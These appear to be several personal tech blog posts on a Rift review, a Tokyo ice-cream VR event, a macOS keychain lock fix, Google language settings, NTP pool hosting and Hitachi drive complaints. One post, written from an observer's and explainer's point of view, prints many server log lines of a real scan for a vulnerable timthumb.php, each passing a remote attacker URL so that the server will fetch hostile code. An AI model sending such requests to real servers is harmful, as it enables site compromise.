I received my Oculus Rift DK2 yesterday morning. I ordered it on March 19th, within hours from the announcement. Here are my first impressions.

Click to read the whole review.

If you live in Tokyo get your ass off the couch and head for Tokyo Midtown now and get some delicious free ice-cream.

Ben & Jerry’s is celebrating an event in the basement of the Tokyo Midtown Galleria. Here you can enjoy free ice-cream, have your photo printed in a tub of the delicious thing, sit and relax while you eat under a (fake) tree…

…and also become a happy cow in a virtual reality experience using the Oculus Rift:

So where and when is this happening? Here you go:

Tokyo Midtown Galleria B1F
Saturday, March 15th 11am-8pm
Sunday, March 16th 11am-7pm

The even was put together by our company, Wieden+Kennedy Tokyo. Keep reading for the fun details.

Now that I don’t work for Apple anymore I can post again about fixing issues in OS X and iOS devices. Some other day I’ll write about how much OS X Server sucks (now the Server application), but for now let me tell you about an issue that kept me busy this morning.

One of our work computers in the office has been prompting for the login keychain password every five minutes or so, annoying the user with popups like these:

This started happening after removing the user’s account from the computer without deleting the home folder, and logging in again using his Active Directory account. The old keychain was deleted and a new one created manually.

After checking for a while I realized that the problem is that by default any new keychain created via Keychain Access will lock itself every five minutes or when the computer goes to sleep.

Here’s how to fix this:

• Open Keychain Access (inside Applications -> Utilities)
• Right-click the login keychain
• Click Change Settings for Keychain “login”…

• Uncheck the Lock after X minutes of inactivity and Lock when sleeping checkboxes.
• Click Save

Restart the computer (or at least log out from the current account) and these popups shouldn’t annoy you again.

My web server was attacked by some guy in Germany last night. This is happens several times a day, so it’s usually not a concern. Ths time it happened while I was monitoring the server, so I had some fun looking at what the attacker was trying to do.

When I’m working on the computer at home I usually have a terminal window open in the background. In this window I’m usually watching all requests to my web server in real time. Most of time time I don’t pay attention to it (it’s mostly search engines crawling my domains), but sometimes you catch something interesting. This is an example of the kind of attacks hitting every web server on the Internet many times a day.

I was having dinner when I saw several strange requests to the Varnish server in front of my backend web server:

85.214.110.68 - - [28/Apr/2013:22:47:48 +0900] "GET /wp-content/themes/Momento/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 400 300 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:49 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:50 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3589 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:52 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//assets/js/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:52 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/assets/js/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3589 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:54 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//extensions/auto-thumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:55 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/extensions/auto-thumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3589 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:56 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//functions/efrog/lib/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:57 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/functions/efrog/lib/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:58 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:47:59 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:00 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//fws/addons/timthumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:01 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/fws/addons/timthumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:03 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//library/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:03 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/library/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:05 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//helpers/timthumb/image.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:05 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/helpers/timthumb/image.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:07 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//images/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:08 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/images/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:09 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//inc/classes/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:10 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/inc/classes/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:11 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//inc/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:12 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/inc/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:14 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//include/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:14 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/include/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:16 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//includes/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:16 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/includes/functions/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:18 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//includes/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:19 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/includes/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:20 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//includes/timthumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:21 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/includes/timthumb/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:22 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//js/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:23 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms/js/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 404 3590 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
85.214.110.68 - - [28/Apr/2013:22:48:25 +0900] "GET /wp-content/plugins/sitepress-multilingual-cms//lib/timthumb.php?src=http://flickr.com.finnovations.de/parola.php HTTP/1.1" 301 20 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]"
[...additional lines ommited...]

(Actually, these logs are from the backend web server running Apache. I’m not storing the request log on the Varnish machine.)

This guy was obviously scanning the web server for a script called timthumb.php. A quick search on Google shows that there was indeed a security problem with older versions of this program. It was possible to trick it into downloading a file from an attacker’s host and saving it into the server, where it could be later executed in order to compromise the system (see this link for details.)

To the guys doing interface design at Google: for fuck’s sake, do something already about the language settings on your search interface.

This is an example of what I see everyday when I’m searching things on Google while logged to my account. Notice that the interface and the search results are in Japanese:

 Yes, I can read Japanese, but that’s not the point. My Google account is configured to display an English interface and provide search results from English sites, and I would expect these settings to work from a company like Google:

Manually going to http://www.google.com/intl/en works, but I’d rather not have to enter the URL manually every time I need to search for something. To make things more fun, logging out from my Google account also displays an English interface with English search results, because that’s the primary language on my web browser.

I’m sure I’m not the first person complaining about this. Please do something already.

Do you want our own, personalized email address? You’re going to need two things:

Once you have these then you can proceed to create your own email address (or addresses).

See after the break for all the details.

As of today, this server (the one hosting this website you’re reading now) is now part of the NTP Pool Project. NTP is the Network Time Protocol. Your computer uses it to retrieve time information from time servers automatically adjust the time in its internal clock.

I was surprised there were so few NTP servers in the Japanese pool. Apparently there are only 21 active machines (counting mine).

You can see the server stats here.

Remember this post from a few days ago? I was talking about how Hitachi is spamming its customers (me being one of them), and I ended the post with “Buy a Western Digital instead”.

Well, after that blog post a very polite representative from Hitachi actually replied via email asking about the hard drive’s serial number and part number. I wrote back to him just a few minutes ago, and I got an automated error message from their mail server:

Hitachi Global Storage Technologies has been acquired by Western Digital.  Our new name is HGST.  When sending email messages to HGST, please adjust your email address to use the “hgst.com” domain.  Example:jim.smith@hgst.com

Emphasis mine. Initially I thought it was some kind of joke from their mail server admin(s), but it’s actually true. Here’s the press release from Western Digital. The press release is actually from March, so I was three months late with my buy a Western Digital comment.

What will happen now? Will they stop spamming non-US customers regarding US-only campaigns? Or will it get worse?

Look at this product page from G-Technology (Hitachi):

Wow! That must be an awesome product, right? Over 90% score from almost 450 reviews!

Too bad it’s a lie. Keep reading for my experience with this external disk.